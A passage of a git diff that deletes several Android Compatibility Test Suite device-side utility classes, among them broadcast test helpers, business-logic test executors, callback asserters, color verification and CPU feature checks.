- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.test.ActivityInstrumentationTestCase2;
-import android.util.Log;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-public class BroadcastTestBase extends ActivityInstrumentationTestCase2<
- BroadcastTestStartActivity> {
- static final String TAG = "BroadcastTestBase";
- protected static final int TIMEOUT_MS = 20 * 1000;
-
- protected Context mContext;
- protected Bundle mResultExtras;
- private CountDownLatch mLatch;
- protected ActivityDoneReceiver mActivityDoneReceiver = null;
- private BroadcastTestStartActivity mActivity;
- private BroadcastUtils.TestcaseType mTestCaseType;
- protected boolean mHasFeature;
-
- public BroadcastTestBase() {
- super(BroadcastTestStartActivity.class);
- }
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mHasFeature = false;
- }
-
- @Override
- protected void tearDown() throws Exception {
- Log.v(TAG, getClass().getSimpleName() + ".tearDown(): hasFeature=" + mHasFeature
- + " receiver=" + mActivityDoneReceiver);
- if (mHasFeature && mActivityDoneReceiver != null) {
- try {
- mContext.unregisterReceiver(mActivityDoneReceiver);
- } catch (IllegalArgumentException e) {
- // This exception is thrown if mActivityDoneReceiver in
- // the above call to unregisterReceiver is never registered.
- // If so, no harm done by ignoring this exception.
- }
- mActivityDoneReceiver = null;
- }
- super.tearDown();
- }
-
- protected boolean isIntentSupported(String intentStr) {
- Intent intent = new Intent(intentStr);
- final PackageManager manager = mContext.getPackageManager();
- assertNotNull(manager);
- if (manager.resolveActivity(intent, 0) == null) {
- Log.i(TAG, "No Activity found for the intent: " + intentStr);
- return false;
- }
- return true;
- }
-
- protected void startTestActivity(String intentSuffix) {
- Intent intent = new Intent();
- intent.setAction("android.intent.action.TEST_START_ACTIVITY_" + intentSuffix);
- intent.setComponent(new ComponentName(getInstrumentation().getContext(),
- BroadcastTestStartActivity.class));
- setActivityIntent(intent);
- mActivity = getActivity();
- }
-
- protected void registerBroadcastReceiver(BroadcastUtils.TestcaseType testCaseType) throws Exception {
- mTestCaseType = testCaseType;
- mLatch = new CountDownLatch(1);
- mActivityDoneReceiver = new ActivityDoneReceiver();
- mContext.registerReceiver(mActivityDoneReceiver,
- new IntentFilter(BroadcastUtils.BROADCAST_INTENT + testCaseType.toString()));
- }
-
- protected boolean startTestAndWaitForBroadcast(BroadcastUtils.TestcaseType testCaseType,
- String pkg, String cls) throws Exception {
- Log.i(TAG, "Begin Testing: " + testCaseType);
- registerBroadcastReceiver(testCaseType);
- mActivity.startTest(testCaseType.toString(), pkg, cls);
- if (!mLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
- fail("Failed to receive broadcast in " + TIMEOUT_MS + "msec");
- return false;
- }
- return true;
- }
-
- class ActivityDoneReceiver extends BroadcastReceiver {
- @Override
- public void onReceive(Context context, Intent intent) {
- if (intent.getAction().equals(
- BroadcastUtils.BROADCAST_INTENT +
- BroadcastTestBase.this.mTestCaseType.toString())) {
- Bundle extras = intent.getExtras();
- Log.i(TAG, "received_broadcast for " + BroadcastUtils.toBundleString(extras));
- BroadcastTestBase.this.mResultExtras = extras;
- mLatch.countDown();
- }
- }
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BroadcastTestStartActivity.java b/common/device-side/util/src/com/android/compatibility/common/util/BroadcastTestStartActivity.java
deleted file mode 100644
index 4b3e85d..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BroadcastTestStartActivity.java
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.content.ComponentName;
-import android.os.Bundle;
-import android.util.Log;
-
-public class BroadcastTestStartActivity extends Activity {
- static final String TAG = "BroadcastTestStartActivity";
-
- @Override
- public void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- Log.i(TAG, " in onCreate");
- }
-
- @Override
- protected void onResume() {
- super.onResume();
- Log.i(TAG, " in onResume");
- }
-
- void startTest(String testCaseType, String pkg, String cls) {
- Intent intent = new Intent();
- Log.i(TAG, "received_testcasetype = " + testCaseType);
- intent.putExtra(BroadcastUtils.TESTCASE_TYPE, testCaseType);
- intent.setAction("android.intent.action.VIMAIN_" + testCaseType);
- intent.setComponent(new ComponentName(pkg, cls));
- startActivity(intent);
- }
-
- @Override
- protected void onPause() {
- Log.i(TAG, " in onPause");
- super.onPause();
- }
-
- @Override
- protected void onStart() {
- super.onStart();
- Log.i(TAG, " in onStart");
- }
-
- @Override
- protected void onRestart() {
- super.onRestart();
- Log.i(TAG, " in onRestart");
- }
-
- @Override
- protected void onStop() {
- Log.i(TAG, " in onStop");
- super.onStop();
- }
-
- @Override
- protected void onDestroy() {
- Log.i(TAG, " in onDestroy");
- super.onDestroy();
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BroadcastUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/BroadcastUtils.java
deleted file mode 100644
index a4661fc..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BroadcastUtils.java
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.os.Bundle;
-
-public class BroadcastUtils {
- public enum TestcaseType {
- ZEN_MODE_ON,
- ZEN_MODE_OFF,
- AIRPLANE_MODE_ON,
- AIRPLANE_MODE_OFF,
- BATTERYSAVER_MODE_ON,
- BATTERYSAVER_MODE_OFF,
- THEATER_MODE_ON,
- THEATER_MODE_OFF
- }
- public static final String TESTCASE_TYPE = "Testcase_type";
- public static final String BROADCAST_INTENT =
- "android.intent.action.FROM_UTIL_CTS_TEST_";
- public static final int NUM_MINUTES_FOR_ZENMODE = 10;
-
- public static final String toBundleString(Bundle bundle) {
- if (bundle == null) {
- return "*** Bundle is null ****";
- }
- StringBuilder buf = new StringBuilder();
- if (bundle != null) {
- buf.append("extras: ");
- for (String s : bundle.keySet()) {
- buf.append("(" + s + " = " + bundle.get(s) + "), ");
- }
- }
- return buf.toString();
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BundleUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/BundleUtils.java
deleted file mode 100644
index eda641d..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BundleUtils.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.os.Bundle;
-
-public class BundleUtils {
- private BundleUtils() {
- }
-
- public static Bundle makeBundle(Object... keysAndValues) {
- if ((keysAndValues.length % 2) != 0) {
- throw new IllegalArgumentException("Argument count not even.");
- }
-
- if (keysAndValues.length == 0) {
- return null;
- }
- final Bundle ret = new Bundle();
-
- for (int i = keysAndValues.length - 2; i >= 0; i -= 2) {
- final String key = keysAndValues[i].toString();
- final Object value = keysAndValues[i + 1];
-
- if (value == null) {
- ret.putString(key, null);
-
- } else if (value instanceof Boolean) {
- ret.putBoolean(key, (Boolean) value);
-
- } else if (value instanceof Integer) {
- ret.putInt(key, (Integer) value);
-
- } else if (value instanceof String) {
- ret.putString(key, (String) value);
-
- } else if (value instanceof Bundle) {
- ret.putBundle(key, (Bundle) value);
- } else {
- throw new IllegalArgumentException(
- "Type not supported yet: " + value.getClass().getName());
- }
- }
- return ret;
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
deleted file mode 100644
index 7d7aaf0..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
+++ /dev/null
@@ -1,117 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.content.Context;
-import android.text.TextUtils;
-import android.util.Log;
-
-import java.lang.reflect.Method;
-import java.util.Arrays;
-import java.util.List;
-
-/**
- * Execute business logic methods for device side test cases
- */
-public class BusinessLogicDeviceExecutor extends BusinessLogicExecutor {
-
- private Context mContext;
- private Object mTestObj;
-
- public BusinessLogicDeviceExecutor(Context context, Object testObj) {
- mContext = context;
- mTestObj = testObj;
- }
-
- /**
- * {@inheritDoc}
- */
- @Override
- protected Object getTestObject() {
- return mTestObj;
- }
-
- /**
- * {@inheritDoc}
- */
- @Override
- public void logInfo(String format, Object... args) {
- Log.i(LOG_TAG, String.format(format, args));
- }
-
- /**
- * {@inheritDoc}
- */
- @Override
- public void logDebug(String format, Object... args) {
- Log.d(LOG_TAG, String.format(format, args));
- }
-
- /**
- * {@inheritDoc}
- */
- @Override
- protected String formatExecutionString(String method, String... args) {
- return String.format("%s(%s)", method, TextUtils.join(", ", args));
- }
-
- /**
- * {@inheritDoc}
- */
- @Override
- protected ResolvedMethod getResolvedMethod(Class cls, String methodName, String... args)
- throws ClassNotFoundException {
- List<Method> nameMatches = getMethodsWithName(cls, methodName);
- for (Method m : nameMatches) {
- ResolvedMethod rm = new ResolvedMethod(m);
- int paramTypesMatched = 0;
- int argsUsed = 0;
- Class[] paramTypes = m.getParameterTypes();
- for (Class paramType : paramTypes) {
- if (argsUsed == args.length && paramType.equals(String.class)) {
- // We've used up all supplied string args, so this method will not match.
- // If paramType is the Context class, we can match a paramType without needing
- // more string args. similarly, paramType "String[]" can be matched with zero
- // string args. If we add support for more paramTypes, this logic may require
- // adjustment.
- break;
- }
- if (paramType.equals(String.class)) {
- // Type "String" -- supply the next available arg
- rm.addArg(args[argsUsed++]);
- } else if (Context.class.isAssignableFrom(paramType)) {
- // Type "Context" -- supply the context from the test case
- rm.addArg(mContext);
- } else if (paramType.equals(Class.forName(STRING_ARRAY_CLASS))) {
- // Type "String[]" (or "String...") -- supply all remaining args
- rm.addArg(Arrays.copyOfRange(args, argsUsed, args.length));
- argsUsed += (args.length - argsUsed);
- } else {
- break; // Param type is unrecognized, this method will not match.
- }
- paramTypesMatched++; // A param type has been matched when reaching this point.
- }
- if (paramTypesMatched == paramTypes.length && argsUsed == args.length) {
- return rm; // Args match, methods match, so return the first method-args pairing.
- }
- // Not a match, try args for next method that matches by name.
- }
- throw new RuntimeException(String.format(
- "BusinessLogic: Failed to invoke action method %s with args: %s", methodName,
- Arrays.toString(args)));
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
deleted file mode 100644
index d567a5f..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
+++ /dev/null
@@ -1,137 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import static org.junit.Assume.assumeTrue;
-
-import android.app.Instrumentation;
-import android.content.ContentResolver;
-import android.content.Context;
-import android.net.Uri;
-import android.os.ParcelFileDescriptor;
-import android.support.test.InstrumentationRegistry;
-import android.util.Log;
-
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.rules.TestName;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.lang.reflect.Field;
-import java.util.Map;
-
-/**
- * Device-side base class for tests leveraging the Business Logic service.
- */
-public class BusinessLogicTestCase {
- private static final String TAG = "BusinessLogicTestCase";
-
- /* String marking the beginning of the parameter in a test name */
- private static final String PARAM_START = "[";
-
- public static final String CONTENT_PROVIDER =
- String.format("%s://android.tradefed.contentprovider", ContentResolver.SCHEME_CONTENT);
-
- /* Test name rule that tracks the current test method under execution */
- @Rule public TestName mTestCase = new TestName();
-
- protected BusinessLogic mBusinessLogic;
- protected boolean mCanReadBusinessLogic = true;
-
- @Before
- public void handleBusinessLogic() {
- loadBusinessLogic();
- executeBusinessLogic();
- }
-
- protected void executeBusinessLogic() {
- String methodName = mTestCase.getMethodName();
- assertTrue(String.format("Test \"%s\" is unable to execute as it depends on the missing "
- + "remote configuration.", methodName), mCanReadBusinessLogic);
- if (methodName.contains(PARAM_START)) {
- // Strip parameter suffix (e.g. "[0]") from method name
- methodName = methodName.substring(0, methodName.lastIndexOf(PARAM_START));
- }
- String testName = String.format("%s#%s", this.getClass().getName(), methodName);
- if (mBusinessLogic.hasLogicFor(testName)) {
- Log.i(TAG, "Finding business logic for test case: " + testName);
- BusinessLogicExecutor executor = new BusinessLogicDeviceExecutor(getContext(), this);
- mBusinessLogic.applyLogicFor(testName, executor);
- }
- }
-
- protected void loadBusinessLogic() {
- String uriPath = String.format("%s/%s", CONTENT_PROVIDER, BusinessLogic.DEVICE_FILE);
- Uri sdcardUri = Uri.parse(uriPath);
- Context appContext = InstrumentationRegistry.getTargetContext();
- try {
- ContentResolver resolver = appContext.getContentResolver();
- ParcelFileDescriptor descriptor = resolver.openFileDescriptor(sdcardUri, "r");
- mBusinessLogic = BusinessLogicFactory.createFromFile(
- new ParcelFileDescriptor.AutoCloseInputStream(descriptor));
- return;
- } catch (FileNotFoundException e) {
- // Log the error and use the fallback too
- Log.e(TAG, "Error while using content provider for config", e);
- }
- // Fallback to reading the business logic directly.
- File businessLogicFile = new File(BusinessLogic.DEVICE_FILE);
- if (businessLogicFile.canRead()) {
- mBusinessLogic = BusinessLogicFactory.createFromFile(businessLogicFile);
- } else {
- mCanReadBusinessLogic = false;
- }
- }
-
- protected static Instrumentation getInstrumentation() {
- return InstrumentationRegistry.getInstrumentation();
- }
-
- protected static Context getContext() {
- return getInstrumentation().getTargetContext();
- }
-
- public static void skipTest(String message) {
- assumeTrue(message, false);
- }
-
- public static void failTest(String message) {
- fail(message);
- }
-
- public void mapPut(String mapName, String key, String value) {
- boolean put = false;
- for (Field f : getClass().getDeclaredFields()) {
- if (f.getName().equalsIgnoreCase(mapName) && Map.class.isAssignableFrom(f.getType())) {
- try {
- ((Map) f.get(this)).put(key, value);
- put = true;
- } catch (IllegalAccessException e) {
- Log.w(String.format("failed to invoke mapPut on field \"%s\". Resuming...",
- f.getName()), e);
- // continue iterating through fields, throw exception if no other fields match
- }
- }
- }
- if (!put) {
- throw new RuntimeException(String.format("Failed to find map %s in class %s", mapName,
- getClass().getName()));
- }
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/CTSResult.java b/common/device-side/util/src/com/android/compatibility/common/util/CTSResult.java
deleted file mode 100644
index d60155a..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/CTSResult.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-package com.android.compatibility.common.util;
-
-public interface CTSResult {
- public static final int RESULT_OK = 1;
- public static final int RESULT_FAIL = 2;
- public void setResult(int resultCode);
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/CallbackAsserter.java b/common/device-side/util/src/com/android/compatibility/common/util/CallbackAsserter.java
deleted file mode 100644
index 436161a..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/CallbackAsserter.java
+++ /dev/null
@@ -1,136 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import static junit.framework.Assert.fail;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.database.ContentObserver;
-import android.net.Uri;
-import android.support.test.InstrumentationRegistry;
-import android.util.Log;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.function.Predicate;
-
-/**
- * CallbackAsserter helps wait until a callback is called.
- */
-public class CallbackAsserter {
- private static final String TAG = "CallbackAsserter";
-
- final CountDownLatch mLatch = new CountDownLatch(1);
-
- CallbackAsserter() {
- }
-
- /**
- * Call this to assert a callback be called within the given timeout.
- */
- public final void assertCalled(String message, int timeoutSeconds) throws Exception {
- try {
- if (mLatch.await(timeoutSeconds, TimeUnit.SECONDS)) {
- return;
- }
- fail("Didn't receive callback: " + message);
- } finally {
- cleanUp();
- }
- }
-
- void cleanUp() {
- }
-
- /**
- * Create an instance for a broadcast.
- */
- public static CallbackAsserter forBroadcast(IntentFilter filter) {
- return forBroadcast(filter, null);
- }
-
- /**
- * Create an instance for a broadcast.
- */
- public static CallbackAsserter forBroadcast(IntentFilter filter, Predicate<Intent> checker) {
- return new BroadcastAsserter(filter, checker);
- }
-
- /**
- * Create an instance for a content changed notification.
- */
- public static CallbackAsserter forContentUri(Uri watchUri) {
- return forContentUri(watchUri, null);
- }
-
- /**
- * Create an instance for a content changed notification.
- */
- public static CallbackAsserter forContentUri(Uri watchUri, Predicate<Uri> checker) {
- return new ContentObserverAsserter(watchUri, checker);
- }
-
- private static class BroadcastAsserter extends CallbackAsserter {
- private final BroadcastReceiver mReceiver;
-
- BroadcastAsserter(IntentFilter filter, Predicate<Intent> checker) {
- mReceiver = new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- if (checker != null && !checker.test(intent)) {
- Log.v(TAG, "Ignoring intent: " + intent);
- return;
- }
- mLatch.countDown();
- }
- };
- InstrumentationRegistry.getContext().registerReceiver(mReceiver, filter);
- }
-
- @Override
- void cleanUp() {
- InstrumentationRegistry.getContext().unregisterReceiver(mReceiver);
- }
- }
-
- private static class ContentObserverAsserter extends CallbackAsserter {
- private final ContentObserver mObserver;
-
- ContentObserverAsserter(Uri watchUri, Predicate<Uri> checker) {
- mObserver = new ContentObserver(null) {
- @Override
- public void onChange(boolean selfChange, Uri uri) {
- if (checker != null && !checker.test(uri)) {
- Log.v(TAG, "Ignoring notification on URI: " + uri);
- return;
- }
- mLatch.countDown();
- }
- };
- InstrumentationRegistry.getContext().getContentResolver().registerContentObserver(
- watchUri, true, mObserver);
- }
-
- @Override
- void cleanUp() {
- InstrumentationRegistry.getContext().getContentResolver().unregisterContentObserver(
- mObserver);
- }
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ColorUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/ColorUtils.java
deleted file mode 100644
index c0da13d..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/ColorUtils.java
+++ /dev/null
@@ -1,117 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.compatibility.common.util;
-
-import static org.junit.Assert.fail;
-
-import android.graphics.Color;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-import java.util.function.Function;
-import java.util.function.IntUnaryOperator;
-
-public class ColorUtils {
- public static void verifyColor(int expected, int observed) {
- verifyColor(expected, observed, 0);
- }
-
- public static void verifyColor(int expected, int observed, int tolerance) {
- verifyColor("", expected, observed, tolerance);
- }
-
- /**
- * Verify that two colors match within a per-channel tolerance.
- *
- * @param s String with extra information about the test with an error.
- * @param expected Expected color.
- * @param observed Observed color.
- * @param tolerance Per-channel tolerance by which the color can mismatch.
- */
- public static void verifyColor(@NonNull String s, int expected, int observed, int tolerance) {
- s += " expected 0x" + Integer.toHexString(expected)
- + ", observed 0x" + Integer.toHexString(observed)
- + ", tolerated channel error 0x" + tolerance;
- String red = verifyChannel("red", expected, observed, tolerance, (i) -> Color.red(i));
- String green = verifyChannel("green", expected, observed, tolerance, (i) -> Color.green(i));
- String blue = verifyChannel("blue", expected, observed, tolerance, (i) -> Color.blue(i));
- String alpha = verifyChannel("alpha", expected, observed, tolerance, (i) -> Color.alpha(i));
-
- buildErrorString(s, red, green, blue, alpha);
- }
-
- private static void buildErrorString(@NonNull String s, @Nullable String red,
- @Nullable String green, @Nullable String blue, @Nullable String alpha) {
- String err = null;
- for (String channel : new String[]{red, green, blue, alpha}) {
- if (channel == null) continue;
- if (err == null) err = s;
- err += "\n\t\t" + channel;
- }
- if (err != null) {
- fail(err);
- }
- }
-
- private static String verifyChannel(String channelName, int expected, int observed,
- int tolerance, IntUnaryOperator f) {
- int e = f.applyAsInt(expected);
- int o = f.applyAsInt(observed);
- if (Math.abs(e - o) <= tolerance) {
- return null;
- }
- return "Channel " + channelName + " mismatch: expected<0x" + Integer.toHexString(e)
- + ">, observed: <0x" + Integer.toHexString(o) + ">";
- }
-
- /**
- * Verify that two colors match within a per-channel tolerance.
- *
- * @param msg String with extra information about the test with an error.
- * @param expected Expected color.
- * @param observed Observed color.
- * @param tolerance Per-channel tolerance by which the color can mismatch.
- */
- public static void verifyColor(@NonNull String msg, Color expected, Color observed,
- float tolerance) {
- if (!expected.getColorSpace().equals(observed.getColorSpace())) {
- fail("Cannot compare Colors with different color spaces! expected: " + expected
- + "\tobserved: " + observed);
- }
- msg += " expected " + expected + ", observed " + observed + ", tolerated channel error "
- + tolerance;
- String red = verifyChannel("red", expected, observed, tolerance, (c) -> c.red());
- String green = verifyChannel("green", expected, observed, tolerance, (c) -> c.green());
- String blue = verifyChannel("blue", expected, observed, tolerance, (c) -> c.blue());
- String alpha = verifyChannel("alpha", expected, observed, tolerance, (c) -> c.alpha());
-
- buildErrorString(msg, red, green, blue, alpha);
- }
-
- private static String verifyChannel(String channelName, Color expected, Color observed,
- float tolerance, Function<Color, Float> f) {
- float e = f.apply(expected);
- float o = f.apply(observed);
- float diff = Math.abs(e - o);
- if (diff <= tolerance) {
- return null;
- }
- return "Channel " + channelName + " mismatch: expected<" + e + ">, observed: <" + o
- + ">, difference: <" + diff + ">";
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ConnectivityUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/ConnectivityUtils.java
deleted file mode 100644
index 09a0a85..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/ConnectivityUtils.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import static org.junit.Assert.assertTrue;
-
-import android.content.Context;
-import android.net.ConnectivityManager;
-import android.net.NetworkInfo;
-
-public class ConnectivityUtils {
- private ConnectivityUtils() {
- }
-
- /** @return true when the device has a network connection. */
- public static boolean isNetworkConnected(Context context) {
- final NetworkInfo networkInfo = context.getSystemService(ConnectivityManager.class)
- .getActiveNetworkInfo();
- return (networkInfo != null) && networkInfo.isConnected();
- }
-
- /** Assert that the device has a network connection. */
- public static void assertNetworkConnected(Context context) {
- assertTrue("Network must be connected", isNetworkConnected(context));
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/CpuFeatures.java b/common/device-side/util/src/com/android/compatibility/common/util/CpuFeatures.java
deleted file mode 100644
index 9360942..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/CpuFeatures.java
+++ /dev/null
@@ -1,74 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.os.Build;
-
-public class CpuFeatures {
-
- public static final String ARMEABI_V7 = "armeabi-v7a";
-
- public static final String ARMEABI = "armeabi";
-
- public static final String MIPSABI = "mips";
-
- public static final String X86ABI = "x86";
-
- public static final int HWCAP_VFP = (1 << 6);
-
- public static final int HWCAP_NEON = (1 << 12);
-
- public static final int HWCAP_VFPv3 = (1 << 13);
-
- public static final int HWCAP_VFPv4 = (1 << 16);
-
- public static final int HWCAP_IDIVA = (1 << 17);
-
- public static final int HWCAP_IDIVT = (1 << 18);
-
- static {
- System.loadLibrary("cts_jni");
- }
-
- public static native boolean isArmCpu();
-
- public static native boolean isMipsCpu();
-
- public static native boolean isX86Cpu();
-
- public static native boolean isArm64Cpu();
-
- public static native boolean isMips64Cpu();
-
- public static native boolean isX86_64Cpu();
-
- public static native int getHwCaps();
-
- public static boolean isArm64CpuIn32BitMode() {
- if (!isArmCpu()) {
- return false;
- }
-
- for (String abi : Build.SUPPORTED_64_BIT_ABIS) {
- if (abi.equals("arm64-v8a")) {
- return true;
- }
- }
-
- return false;
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/CtsAndroidTestCase.java b/common/device-side/util/src/com/android/compatibility/common/util/CtsAndroidTestCase.java
deleted file mode 100644
index 1ffad1d..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/CtsAndroidTestCase.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-
-package com.android.compatibility.common.util;
-
-import android.content.Context;
-import android.test.ActivityInstrumentationTestCase2;
-
-/**
- * This class emulates AndroidTestCase, but internally it is ActivityInstrumentationTestCase2
- * to access Instrumentation.
- * DummyActivity is not supposed to be accessed.
- */
-public class CtsAndroidTestCase extends ActivityInstrumentationTestCase2<DummyActivity> {
- public CtsAndroidTestCase() {
- super(DummyActivity.class);
- }
-
- public Context getContext() {
- return getInstrumentation().getContext();
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/CtsKeyEventUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/CtsKeyEventUtil.java
deleted file mode 100644
